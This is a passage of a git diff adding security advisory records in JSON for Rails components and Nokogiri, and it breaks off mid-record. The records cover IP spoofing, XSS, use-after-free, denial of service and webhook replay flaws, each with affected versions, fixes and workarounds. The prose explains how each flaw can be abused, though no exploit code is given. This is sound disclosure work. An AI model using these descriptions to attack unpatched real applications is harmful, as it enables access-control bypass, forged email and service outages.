@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"GHSA-2gff-2mmg-m73p","published":"2026-11-10T21:20:06Z","modified":"2026-11-10T21:30:04.269070700Z","aliases":["CVE-2026-126083"],"summary":"Action Pack: Possible IP spoofing in Action Dispatch RemoteIp","details":"### Impact\nSince Rails 8.1.0, `ActionDispatch::RemoteIp` derives `request.remote_ip` from `Rack::Request#forwarded_for`, which under Rack 3 reads the RFC 7239 `Forwarded` header in preference to `X-Forwarded-For`. When a reverse proxy appends the client address to `X-Forwarded-For` but passes a client-supplied `Forwarded` header through unchanged, `request.remote_ip` returns an address chosen by the client, and the IP spoofing check does not raise, because it compares only `Client-Ip` with the forwarded addresses. An unauthenticated attacker could therefore spoof `request.remote_ip`, possibly bypassing IP-based access controls and rate limits keyed on the client address (including the default `by:` of `rate_limit`), and falsifying the client address in logs.\n\n### Details\nThe 8.1.0 change ([2d084af8](https://github.com/rails/rails/commit/2d084af8444a7b6b868c7cbb256172007871e78d)) switched `ActionDispatch::RemoteIp` from reading `X-Forwarded-For` directly to Rack's `forwarded_for`, in order to reuse Rack's port handling. Rails continues to honor `Forwarded`, the standard header.\n\nIn the fixed releases, when `config.action_dispatch.ip_spoofing_check` is enabled (the default), `ActionDispatch::RemoteIp` also compares the first untrusted client address in `Forwarded` with the first untrusted client address in `X-Forwarded-For`, as exact strings, and raises `ActionDispatch::RemoteIp::IpSpoofAttackError` when both headers are present and the addresses differ. Deployments whose proxies report the client address inconsistently between the two headers will receive this error after upgrading. See the `actionpack` CHANGELOG.\n\n### Affected applications\nAn application is affected if it meets all of these requirements:\n- Runs Rails 8.1.0 through 8.1.4 with Rack 3. Under Rack 2.2, `forwarded_for` reads only `X-Forwarded-For`.\n- Is served behind a proxy that does not remove or overwrite a client-supplied `Forwarded` header.\n- Relies on `request.remote_ip` for access control, rate limiting, or auditing.\n\nThe fix detects a spoofed `Forwarded` header only when the proxy also sets `X-Forwarded-For`. An application whose proxy passes a client-supplied `Forwarded` header through and sets no `X-Forwarded-For` remains exposed after upgrading, and should configure the proxy to remove or overwrite `Forwarded`, or apply the workaround below.\n\n### Mitigation\n- Upgrade to a fixed version of `actionpack`.\n- Configure reverse proxies to remove or overwrite any client-supplied `Forwarded` header.\n\n### Workarounds\nApplications whose proxies set `X-Forwarded-For` can make Rack ignore the `Forwarded` header, restoring the client address resolution of Rails 8.0, by setting `Rack::Request.forwarded_priority = [:x_forwarded]` in an initializer. This setting is available in Rack 3.0.0 and later, and it also causes Rack to ignore `Forwarded` when determining the request scheme, host, and port.\n\n### Releases\nThe fixed releases are available at the normal locations.\n\nPatches for those who cannot upgrade at once:\n- 8.1: https://github.com/rails/rails/commit/2a01a5ac521184419d9a92fa2c25e102e68cd227.patch\n\n### Versions affected\n- actionpack >= 8.1, < 8.1.4.1\n\n### Credit\nThis issue was responsibly reported by HackerOne researcher [luryus](https://hackerone.com/luryus).","affected":[{"package":{"name":"actionpack","ecosystem":"RubyGems","purl":"pkg:gem/actionpack"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.1.0.beta1"},{"fixed":"8.1.4.1"}]}],"versions":["8.1.0","8.1.0.beta1","8.1.0.rc1","8.1.1","8.1.2","8.1.2.1","8.1.3","8.1.3.1","8.1.4"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-2gff-2mmg-m73p/GHSA-2gff-2mmg-m73p.json"}}],"references":[{"type":"WEB","url":"https://github.com/rails/rails/security/advisories/GHSA-2gff-2mmg-m73p"},{"type":"WEB","url":"https://github.com/rails/rails/commit/2a01a5ac521184419d9a92fa2c25e102e68cd227"},{"type":"PACKAGE","url":"https://github.com/rails/rails"},{"type":"WEB","url":"https://github.com/rails/rails/releases/tag/v8.1.4.1"},{"type":"WEB","url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/actionpack/GHSA-2gff-2mmg-m73p.yml"}],"database_specific":{"cwe_ids":["CWE-348"],"github_reviewed":true,"github_reviewed_at":"2026-11-10T21:20:06Z","nvd_published_at":null,"severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N"}]}
\ No newline at end of file
diff --git a/data/RubyGems/GHSA-2w9f-fxwj-w2qf.json b/data/RubyGems/GHSA-2w9f-fxwj-w2qf.json
new file mode 100644
index 0000000000..c1ac559ea6
--- /dev/null
+++ b/data/RubyGems/GHSA-2w9f-fxwj-w2qf.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"GHSA-2w9f-fxwj-w2qf","published":"2026-11-10T21:27:12Z","modified":"2026-11-10T21:45:04.318644879Z","aliases":["CVE-2026-126075"],"summary":"Active Support: Possible XSS vulnerability in Active Support MessagePack serializer","details":"### Impact\n`ActiveSupport::MessagePack` serializes an `ActiveSupport::SafeBuffer` as its bytes alone and deserializes it as a new `SafeBuffer`, so a buffer that is no longer `html_safe?` (for example, one mutated in place with `gsub!`) is restored as `html_safe`. If such a buffer holds untrusted input and is stored through a MessagePack serializer, rendering it after it is loaded bypasses ERB auto-escaping, possibly leading to XSS.\n\nApplications on Rails 8.1 are affected if they use a MessagePack serializer, such as `config.action_dispatch.cookies_serializer = :message_pack` or `:message_pack_allow_marshal`, or `serializer: :message_pack` for `Rails.cache`, `ActiveSupport::MessageVerifier` or `ActiveSupport::MessageEncryptor`, and store a `SafeBuffer` that was mutated in place with untrusted input. Rails 8.0 and earlier do not serialize `SafeBuffer` with MessagePack and are not affected.\n\n### Details\nThe fixed releases serialize a `SafeBuffer` that is not `html_safe?` with a marker and deserialize it as a `String`; a `SafeBuffer` that is `html_safe?` keeps the existing format. Versions without the fix cannot read an unsafe buffer serialized by the fixed releases, so during a rolling deploy a cookie or cache entry holding one could fail to load on a process that has not been upgraded.\n\n### Workarounds\nApplications that cannot upgrade can convert a `SafeBuffer` to a `String` with `to_str` before storing it in a value that a MessagePack serializer writes.\n\n### Releases\nThe fixed releases are available at the normal locations.\n\nPatches for those who cannot upgrade at once:\n- 8.1: https://github.com/rails/rails/commit/4ca090665976e6fbc471c38689b399f84b43cdc7.patch\n\n### Credit\nThis issue was responsibly reported by HackerOne researcher [jcwilk](https://hackerone.com/jcwilk).","affected":[{"package":{"name":"activesupport","ecosystem":"RubyGems","purl":"pkg:gem/activesupport"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.1.0.beta1"},{"fixed":"8.1.4.1"}]}],"versions":["8.1.0","8.1.0.beta1","8.1.0.rc1","8.1.1","8.1.2","8.1.2.1","8.1.3","8.1.3.1","8.1.4"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-2w9f-fxwj-w2qf/GHSA-2w9f-fxwj-w2qf.json"}}],"references":[{"type":"WEB","url":"https://github.com/rails/rails/security/advisories/GHSA-2w9f-fxwj-w2qf"},{"type":"WEB","url":"https://github.com/rails/rails/commit/4ca090665976e6fbc471c38689b399f84b43cdc7"},{"type":"PACKAGE","url":"https://github.com/rails/rails"},{"type":"WEB","url":"https://github.com/rails/rails/releases/tag/v8.1.4.1"},{"type":"WEB","url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/activesupport/GHSA-2w9f-fxwj-w2qf.yml"}],"database_specific":{"cwe_ids":["CWE-79"],"github_reviewed":true,"github_reviewed_at":"2026-11-10T21:27:12Z","nvd_published_at":null,"severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N"}]}
\ No newline at end of file
diff --git a/data/RubyGems/GHSA-3w22-6jfg-527w.json b/data/RubyGems/GHSA-3w22-6jfg-527w.json
new file mode 100644
index 0000000000..c4c930ae0a
--- /dev/null
+++ b/data/RubyGems/GHSA-3w22-6jfg-527w.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"GHSA-3w22-6jfg-527w","published":"2026-11-10T20:51:19Z","modified":"2026-11-10T21:00:04.036274050Z","aliases":["CVE-2026-126064"],"summary":"Nokogiri: Use-After-Free in Nokogiri when replacing an attribute value","details":"### Summary\n\nNokogiri's CRuby native extension could leave a Ruby wrapper pointing to freed memory when replacing the value of an existing XML attribute via `Nokogiri::XML::Node#[]=` or `Nokogiri::XML::Node#lang=`. If Ruby code had already accessed the attribute's child nodes, replacing the value could free those native child nodes while their wrappers remained reachable. Using one of those child nodes afterwards could cause an invalid read and a possible segfault.\n\nThis is the same class of issue as [GHSA-phwj-rprq-35pp](https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-phwj-rprq-35pp), which was fixed for `Attr#value=` in Nokogiri 1.19.4.\n\nNokogiri 1.19.5 preserves all already-wrapped attribute child nodes before replacing the attribute value.\n\nJRuby is not affected.\n\n### Severity\n\nThe Nokogiri maintainers have evaluated this as low severity. Reaching it requires an unusual API-usage pattern that does not arise during normal use. The application must directly access an attribute's child nodes and then replace that same attribute's value via `Node#[]=` or `Node#lang=`. Nokogiri 1.19.5 makes this pattern safe with no change to the public API.\n\n### Mitigation\n\nUpgrade to Nokogiri 1.19.5 or later.\n\nAs a workaround, avoid accessing attribute child nodes directly via `Attr#children` or similar before replacing the same attribute's value.\n\n### Credit\n\nThis issue was responsibly reported by zx (@manus-pi).","affected":[{"package":{"name":"nokogiri","ecosystem":"RubyGems","purl":"pkg:gem/nokogiri"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.19.5"}]}],"versions":["1.0.0","1.0.1","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.1.0","1.1.1","1.10.0","1.10.0.rc1","1.10.1","1.10.10","1.10.2","1.10.3","1.10.4","1.10.5","1.10.6","1.10.7","1.10.8","1.10.9","1.11.0","1.11.0.rc1","1.11.0.rc2","1.11.0.rc3","1.11.0.rc4","1.11.1","1.11.2","1.11.3","1.11.4","1.11.5","1.11.6","1.11.7","1.12.0","1.12.0.rc1","1.12.1","1.12.2","1.12.3","1.12.4","1.12.5","1.13.0","1.13.1","1.13.10","1.13.2","1.13.3","1.13.4","1.13.5","1.13.6","1.13.7","1.13.8","1.13.9","1.14.0","1.14.0.rc1","1.14.1","1.14.2","1.14.3","1.14.4","1.14.5","1.15.0","1.15.1","1.15.2","1.15.3","1.15.4","1.15.5","1.15.6","1.15.7","1.16.0","1.16.0.rc1","1.16.1","1.16.2","1.16.3","1.16.4","1.16.5","1.16.6","1.16.7","1.16.8","1.17.0","1.17.1","1.17.2","1.18.0","1.18.0.rc1","1.18.1","1.18.10","1.18.2","1.18.3","1.18.4","1.18.5","1.18.6","1.18.7","1.18.8","1.18.9","1.19.0","1.19.1","1.19.2","1.19.3","1.19.4","1.2.0","1.2.1","1.2.2","1.2.3","1.3.0","1.3.1","1.3.2","1.3.3","1.4.0","1.4.1","1.4.2","1.4.2.1","1.4.3","1.4.3.1","1.4.4","1.4.4.1","1.4.4.2","1.4.5","1.4.6","1.4.7","1.5.0","1.5.0.beta.1","1.5.0.beta.2","1.5.0.beta.3","1.5.0.beta.4","1.5.1","1.5.1.rc1","1.5.10","1.5.11","1.5.2","1.5.3","1.5.3.rc2","1.5.3.rc3","1.5.3.rc4","1.5.3.rc5","1.5.3.rc6","1.5.4","1.5.4.rc1","1.5.4.rc2","1.5.4.rc3","1.5.5","1.5.5.rc1","1.5.5.rc2","1.5.5.rc3","1.5.6","1.5.6.rc1","1.5.6.rc2","1.5.6.rc3","1.5.7","1.5.7.rc1","1.5.7.rc2","1.5.7.rc3","1.5.8","1.5.9","1.6.0","1.6.0.rc1","1.6.1","1.6.2","1.6.2.1","1.6.2.rc1","1.6.2.rc2","1.6.2.rc3","1.6.3","1.6.3.1","1.6.3.rc1","1.6.3.rc2","1.6.3.rc3","1.6.4","1.6.4.1","1.6.5","1.6.6.1","1.6.6.2","1.6.6.3","1.6.6.4","1.6.7","1.6.7.1","1.6.7.2","1.6.7.rc2","1.6.7.rc3","1.6.7.rc4","1.6.8","1.6.8.1","1.6.8.rc1","1.6.8.rc2","1.6.8.rc3","1.7.0","1.7.0.1","1.7.1","1.7.2","1.8.0","1.8.1","1.8.2","1.8.3","1.8.4","1.8.5","1.9.0","1.9.0.rc1","1.9.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-3w22-6jfg-527w/GHSA-3w22-6jfg-527w.json"}}],"references":[{"type":"WEB","url":"https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-3w22-6jfg-527w"},{"type":"WEB","url":"https://github.com/sparklemotion/nokogiri/pull/3752"},{"type":"WEB","url":"https://github.com/sparklemotion/nokogiri/commit/b15b518db9fd15fd6b046f73d1439c282e5cc425"},{"type":"WEB","url":"https://github.com/sparklemotion/nokogiri/commit/feaed3c8c9bd9d81d064d4ca09b16044cd705d6f"},{"type":"WEB","url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/nokogiri/GHSA-3w22-6jfg-527w.yml"},{"type":"PACKAGE","url":"https://github.com/sparklemotion/nokogiri"},{"type":"WEB","url":"https://github.com/sparklemotion/nokogiri/releases/tag/v1.19.5"}],"database_specific":{"cwe_ids":["CWE-416"],"github_reviewed":true,"github_reviewed_at":"2026-11-10T20:51:19Z","nvd_published_at":null,"severity":"LOW"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}]}
\ No newline at end of file
diff --git a/data/RubyGems/GHSA-4p39-36wj-23h4.json b/data/RubyGems/GHSA-4p39-36wj-23h4.json
new file mode 100644
index 0000000000..b114269d61
--- /dev/null
+++ b/data/RubyGems/GHSA-4p39-36wj-23h4.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"GHSA-4p39-36wj-23h4","published":"2026-11-10T20:47:36Z","modified":"2026-11-10T21:00:04.024722735Z","aliases":["CVE-2026-126063"],"summary":"Nokogiri: Mutation XSS through `noscript` content in Nokogiri's HTML5 serializer","details":"### Summary\n\nNokogiri's HTML5 serializer did not escape text inside `noscript` elements, or `<` and `>` inside attribute values. When a document parsed with the default options is serialized, a browser with scripting enabled can parse the output into markup that Nokogiri's parser never produced. This is a mutation XSS for applications that sanitize untrusted HTML with `Nokogiri::HTML5`, allow `noscript` elements, and send the serialized output to browsers.\n\nNokogiri 1.19.5 escapes both, as the HTML standard's serialization algorithm requires. Text inside `noscript` is still emitted unescaped for documents parsed with `parse_noscript_content_as_text: true`.\n\nOnly the C extension (CRuby and TruffleRuby) is affected. JRuby does not implement `Nokogiri::HTML5`.\n\n### Severity\n\nThe Nokogiri maintainers have evaluated this as low severity (CVSS 2.3, `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N`). Exploitation requires an application that allows `noscript` in sanitized HTML. Loofah and rails-html-sanitizer do not allow it by default, and Sanitize always removes it.\n\n### Mitigation\n\nUpgrade to Nokogiri 1.19.5 or later.\n\nApplications that sanitize HTML and allow `noscript` should parse with `parse_noscript_content_as_text: true` (available since Nokogiri 1.17.0), or remove `noscript` elements. This is the workaround for earlier versions, and it is recommended on every version: some content inside `noscript` is serialized unchanged, as the standard requires.\n\n### Credit\n\nThis issue was responsibly reported by @a-zara-n.","affected":[{"package":{"name":"nokogiri","ecosystem":"RubyGems","purl":"pkg:gem/nokogiri"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.12.0"},{"fixed":"1.19.5"}]}],"versions":["1.12.0","1.12.1","1.12.2","1.12.3","1.12.4","1.12.5","1.13.0","1.13.1","1.13.10","1.13.2","1.13.3","1.13.4","1.13.5","1.13.6","1.13.7","1.13.8","1.13.9","1.14.0","1.14.0.rc1","1.14.1","1.14.2","1.14.3","1.14.4","1.14.5","1.15.0","1.15.1","1.15.2","1.15.3","1.15.4","1.15.5","1.15.6","1.15.7","1.16.0","1.16.0.rc1","1.16.1","1.16.2","1.16.3","1.16.4","1.16.5","1.16.6","1.16.7","1.16.8","1.17.0","1.17.1","1.17.2","1.18.0","1.18.0.rc1","1.18.1","1.18.10","1.18.2","1.18.3","1.18.4","1.18.5","1.18.6","1.18.7","1.18.8","1.18.9","1.19.0","1.19.1","1.19.2","1.19.3","1.19.4"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-4p39-36wj-23h4/GHSA-4p39-36wj-23h4.json"}}],"references":[{"type":"WEB","url":"https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-4p39-36wj-23h4"},{"type":"WEB","url":"https://github.com/sparklemotion/nokogiri/pull/3752"},{"type":"WEB","url":"https://github.com/sparklemotion/nokogiri/commit/3e84df6ff7ab4d78f446e3a415430bd69a055d32"},{"type":"WEB","url":"https://github.com/sparklemotion/nokogiri/commit/c6c0bffbdcd194694995acafeeed27326b0805f8"},{"type":"WEB","url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/nokogiri/GHSA-4p39-36wj-23h4.yml"},{"type":"PACKAGE","url":"https://github.com/sparklemotion/nokogiri"},{"type":"WEB","url":"https://github.com/sparklemotion/nokogiri/releases/tag/v1.19.5"}],"database_specific":{"cwe_ids":["CWE-116","CWE-79"],"github_reviewed":true,"github_reviewed_at":"2026-11-10T20:47:36Z","nvd_published_at":null,"severity":"LOW"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"}]}
\ No newline at end of file
diff --git a/data/RubyGems/GHSA-4v2w-w6g6-f8f8.json b/data/RubyGems/GHSA-4v2w-w6g6-f8f8.json
new file mode 100644
index 0000000000..8a0be9f1d6
--- /dev/null
+++ b/data/RubyGems/GHSA-4v2w-w6g6-f8f8.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"GHSA-4v2w-w6g6-f8f8","published":"2026-11-10T21:24:31Z","modified":"2026-11-10T21:45:04.235740111Z","aliases":["CVE-2026-126071"],"summary":"Active Storage: Possible DoS vulnerability in Active Storage proxy mode via storage errors during streaming","details":"### Impact\nWhen Active Storage serves a file through its proxy controllers, `ActiveStorage::Streaming#send_blob_stream` handles an error from the storage service by calling `head` to send a 404 or 500 response. If the error occurs after the first chunk has been written, the response is already committed, and `head` replaces the response body while the server is still reading the original `ActionController::Live` buffer. That buffer is never closed, so the server thread handling the request blocks until the process restarts. Repeated failed downloads could exhaust the server's threads, possibly resulting in a DoS vulnerability.\n\nApplications are affected when they store files on a service that streams a download in several requests, such as Amazon S3, an S3-compatible service or Google Cloud Storage, and draw Active Storage's default routes. The proxy routes are drawn whether or not proxy mode is the default for the application. A file deleted while it is being served, or any other storage error partway through a download, triggers the condition.\n\n### Details\nA storage error raised before the response is committed still produces a 404 or 500 response. After the fix, a storage error raised after the response is committed is re-raised instead, so the server closes the streamed response and releases the thread; the client receives a truncated body, and the exception reaches the application's error reporting.\n\n### Releases\nThe fixed releases are available at the normal locations.\n\nPatches for those who cannot upgrade at once:\n- 8.1: https://github.com/rails/rails/commit/3c67a693fb21870ecb1222e3da59d5c491a62009.patch\n- 8.0: https://github.com/rails/rails/commit/655b4442de136a3701334607f634d698bf9d5b82.patch\n\n### Credit\nThis issue was found by the Anthropic OSS Scanner (ANT-2026-FMPUMYTB).","affected":[{"package":{"name":"activestorage","ecosystem":"RubyGems","purl":"pkg:gem/activestorage"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.1.0.beta1"},{"fixed":"8.1.4.1"}]}],"versions":["8.1.0","8.1.0.beta1","8.1.0.rc1","8.1.1","8.1.2","8.1.2.1","8.1.3","8.1.3.1","8.1.4"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-4v2w-w6g6-f8f8/GHSA-4v2w-w6g6-f8f8.json"}},{"package":{"name":"activestorage","ecosystem":"RubyGems","purl":"pkg:gem/activestorage"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0.beta1"},{"fixed":"8.0.5.2"}]}],"versions":["8.0.0","8.0.0.1","8.0.0.beta1","8.0.0.rc1","8.0.0.rc2","8.0.1","8.0.2","8.0.2.1","8.0.3","8.0.4","8.0.4.1","8.0.5","8.0.5.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-4v2w-w6g6-f8f8/GHSA-4v2w-w6g6-f8f8.json"}}],"references":[{"type":"WEB","url":"https://github.com/rails/rails/security/advisories/GHSA-4v2w-w6g6-f8f8"},{"type":"WEB","url":"https://github.com/rails/rails/commit/3c67a693fb21870ecb1222e3da59d5c491a62009"},{"type":"WEB","url":"https://github.com/rails/rails/commit/655b4442de136a3701334607f634d698bf9d5b82"},{"type":"PACKAGE","url":"https://github.com/rails/rails"},{"type":"WEB","url":"https://github.com/rails/rails/releases/tag/v8.0.5.2"},{"type":"WEB","url":"https://github.com/rails/rails/releases/tag/v8.1.4.1"},{"type":"WEB","url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/activestorage/GHSA-4v2w-w6g6-f8f8.yml"}],"database_specific":{"cwe_ids":["CWE-772"],"github_reviewed":true,"github_reviewed_at":"2026-11-10T21:24:31Z","nvd_published_at":null,"severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H"}]}
\ No newline at end of file
diff --git a/data/RubyGems/GHSA-5957-c7qm-m469.json b/data/RubyGems/GHSA-5957-c7qm-m469.json
new file mode 100644
index 0000000000..f3436aa511
--- /dev/null
+++ b/data/RubyGems/GHSA-5957-c7qm-m469.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"GHSA-5957-c7qm-m469","published":"2026-11-10T21:28:16Z","modified":"2026-11-10T21:45:04.138225379Z","aliases":["CVE-2026-126068"],"summary":"Action Mailbox: Possible signature replay in Action Mailbox Mailgun ingress","details":"### Impact\nThe Action Mailbox Mailgun ingress authenticates a request with an HMAC of the `timestamp` and `token` parameters concatenated without a separator, and `ActionMailbox::Ingresses::Mailgun::InboundEmailsController::Authenticator#recent?` rejects only timestamps more than 2 minutes in the past. Because the signature does not fix the boundary between the two values, a captured signed request can be presented with a timestamp far in the future, which the ingress then accepts indefinitely. An attacker who obtains one signed Mailgun webhook request, but not the signing key, could submit arbitrary inbound email that Action Mailbox processes as genuine, possibly leading to forged messages attributed to the sender of the attacker's choosing.\n\nApplications that receive inbound email through the Action Mailbox Mailgun ingress are affected.\n\n### Details\nThe fixed releases also reject a Mailgun request whose timestamp is more than 2 minutes ahead of the server's clock, as they already did for one more than 2 minutes behind it. An application whose clock runs more than 2 minutes behind Mailgun's will now reject genuine webhooks and should synchronize its clock.\n\n### Releases\nThe fixed releases are available at the normal locations.\n\nPatches for those who cannot upgrade at once:\n- 8.1: https://github.com/rails/rails/commit/c3a295c5c22266e8ec4d0e664e6923a299235e7a.patch\n- 8.0: https://github.com/rails/rails/commit/4aa2ec66822bc4eb8b341a0608f1c90a3e371a34.patch\n\n### Credit\nThis issue was responsibly reported by HackerOne researcher [davutselcuk](https://hackerone.com/davutselcuk).","affected":[{"package":{"name":"actionmailbox","ecosystem":"RubyGems","purl":"pkg:gem/actionmailbox"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.1.0.beta1"},{"fixed":"8.1.4.1"}]}],"versions":["8.1.0","8.1.0.beta1","8.1.0.rc1","8.1.1","8.1.2","8.1.2.1","8.1.3","8.1.3.1","8.1.4"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-5957-c7qm-m469/GHSA-5957-c7qm-m469.json"}},{"package":{"name":"actionmailbox","ecosystem":"RubyGems","purl":"pkg:gem/actionmailbox"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8.0.5.2"}]}],"versions":["0.1.0","6.0.0","6.0.0.beta1","6.0.0.beta2","6.0.0.beta3","6.0.0.rc1","6.0.0.rc2","6.0.1","6.0.1.rc1","6.0.2","6.0.2.1","6.0.2.2","6.0.2.rc1","6.0.2.rc2","6.0.3","6.0.3.1","6.0.3.2","6.0.3.3","6.0.3.4","6.0.3.5","6.0.3.6","6.0.3.7","6.0.3.rc1","6.0.4","6.0.4.1","6.0.4.2","6.0.4.3","6.0.4.4","6.0.4.5","6.0.4.6","6.0.4.7","6.0.4.8","6.0.5","6.0.5.1","6.0.6","6.0.6.1","6.1.0","6.1.0.rc1","6.1.0.rc2","6.1.1","6.1.2","6.1.2.1","6.1.3","6.1.3.1","6.1.3.2","6.1.4","6.1.4.1","6.1.4.2","6.1.4.3","6.1.4.4","6.1.4.5","6.1.4.6","6.1.4.7","6.1.5","6.1.5.1","6.1.6","6.1.6.1","6.1.7","6.1.7.1","6.1.7.10","6.1.7.2","6.1.7.3","6.1.7.4","6.1.7.5","6.1.7.6","6.1.7.7","6.1.7.8","6.1.7.9","7.0.0","7.0.0.alpha1","7.0.0.alpha2","7.0.0.rc1","7.0.0.rc2","7.0.0.rc3","7.0.1","7.0.10","7.0.2","7.0.2.1","7.0.2.2","7.0.2.3","7.0.2.4","7.0.3","7.0.3.1","7.0.4","7.0.4.1","7.0.4.2","7.0.4.3","7.0.5","7.0.5.1","7.0.6","7.0.7","7.0.7.1","7.0.7.2","7.0.8","7.0.8.1","7.0.8.2","7.0.8.3","7.0.8.4","7.0.8.5","7.0.8.6","7.0.8.7","7.1.0","7.1.0.beta1","7.1.0.rc1","7.1.0.rc2","7.1.1","7.1.2","7.1.3","7.1.3.1","7.1.3.2","7.1.3.3","7.1.3.4","7.1.4","7.1.4.1","7.1.4.2","7.1.5","7.1.5.1","7.1.5.2","7.1.6","7.2.0","7.2.0.beta1","7.2.0.beta2","7.2.0.beta3","7.2.0.rc1","7.2.1","7.2.1.1","7.2.1.2","7.2.2","7.2.2.1","7.2.2.2","7.2.3","7.2.3.1","7.2.3.2","7.2.4","8.0.0","8.0.0.1","8.0.0.beta1","8.0.0.rc1","8.0.0.rc2","8.0.1","8.0.2","8.0.2.1","8.0.3","8.0.4","8.0.4.1","8.0.5","8.0.5.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-5957-c7qm-m469/GHSA-5957-c7qm-m469.json"}}],"references":[{"type":"WEB","url":"https://github.com/rails/rails/security/advisories/GHSA-5957-c7qm-m469"},{"type":"WEB","url":"https://github.com/rails/rails/commit/4aa2ec66822bc4eb8b341a0608f1c90a3e371a34"},{"type":"WEB","url":"https://github.com/rails/rails/commit/c3a295c5c22266e8ec4d0e664e6923a299235e7a"},{"type":"PACKAGE","url":"https://github.com/rails/rails"},{"type":"WEB","url":"https://github.com/rails/rails/releases/tag/v8.0.5.2"},{"type":"WEB","url":"https://github.com/rails/rails/releases/tag/v8.1.4.1"},{"type":"WEB","url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/actionmailbox/GHSA-5957-c7qm-m469.yml"}],"database_specific":{"cwe_ids":["CWE-294"],"github_reviewed":true,"github_reviewed_at":"2026-11-10T21:28:16Z","nvd_published_at":null,"severity":"LOW"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N"}]}
\ No newline at end of file
diff --git a/data/RubyGems/GHSA-8474-xrp6-wh69.json b/data/RubyGems/GHSA-8474-xrp6-wh69.json
new file mode 100644
index 0000000000..1c1cceefcf
--- /dev/null
+++ b/data/RubyGems/GHSA-8474-xrp6-wh69.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"GHSA-8474-xrp6-wh69","published":"2026-11-10T21:34:11Z","modified":"2026-11-10T21:45:04.323273690Z","aliases":["CVE-2026-126080"],"summary":"Active Support: Possible DoS vulnerability in Active Support safe_constantize","details":"### Impact\nWhen constant lookup raises `LoadError`, `ActiveSupport::Inflector#safe_constantize` (and `String#safe_constantize`) builds a regular expression from the requested constant name without escaping it, so a caller that passes untrusted input lets the attacker choose the source of a pattern that the application compiles. Crafted patterns can trigger defects in Ruby's regular expression compiler, possibly leading to a crash of the server process, and repeated requests could keep the application unavailable.\n\nAction Cable passes the `channel` value of each `subscribe` command to `safe_constantize` before any channel lookup, so in the default configuration an unauthenticated client of the Action Cable endpoint can reach this code.\n\n### Details\nThe check that decides whether `safe_constantize` returns `nil` or re-raises the `LoadError` now matches the first segment of the constant name against the error message as a literal string, and no longer compiles a regular expression. It returns the same result as before for constant names that contain no regular expression syntax.\n\n### Affected applications\nAn application is affected if it meets all of these requirements:\n- Mounts Action Cable, which a new Rails application does by default at `/cable` (`config.action_cable.mount_path`), or otherwise passes untrusted input to `safe_constantize`.\n- Accepts Action Cable connections from untrusted clients. `ApplicationCable::Connection#connect` authenticates nobody unless the application adds a check.\n\n### Workarounds\nApplications that do not use Action Cable can set `config.action_cable.mount_path = nil` to remove the endpoint. Applications that use Action Cable can call `reject_unauthorized_connection` in `ApplicationCable::Connection#connect` for unauthenticated clients, which limits exposure to authenticated users but does not remove it.\n\n### Releases\nThe fixed releases are available at the normal locations.\n\nPatches for those who cannot upgrade at once:\n- 8.1: https://github.com/rails/rails/commit/95aa9e416016524956d4904fed96eaed079580bb.patch\n- 8.0: https://github.com/rails/rails/commit/210ac22d446c8e2625b091e79256806b836eee20.patch\n\n### Versions affected\n\n- activesupport < 8.0.5.2\n- activesupport >= 8.1, < 8.1.4.1\n\n### Credit\nThis issue was responsibly reported by Felix Tscheulin ([flixt](https://hackerone.com/flixt)) through HackerOne researcher [scheja](https://hackerone.com/scheja), and 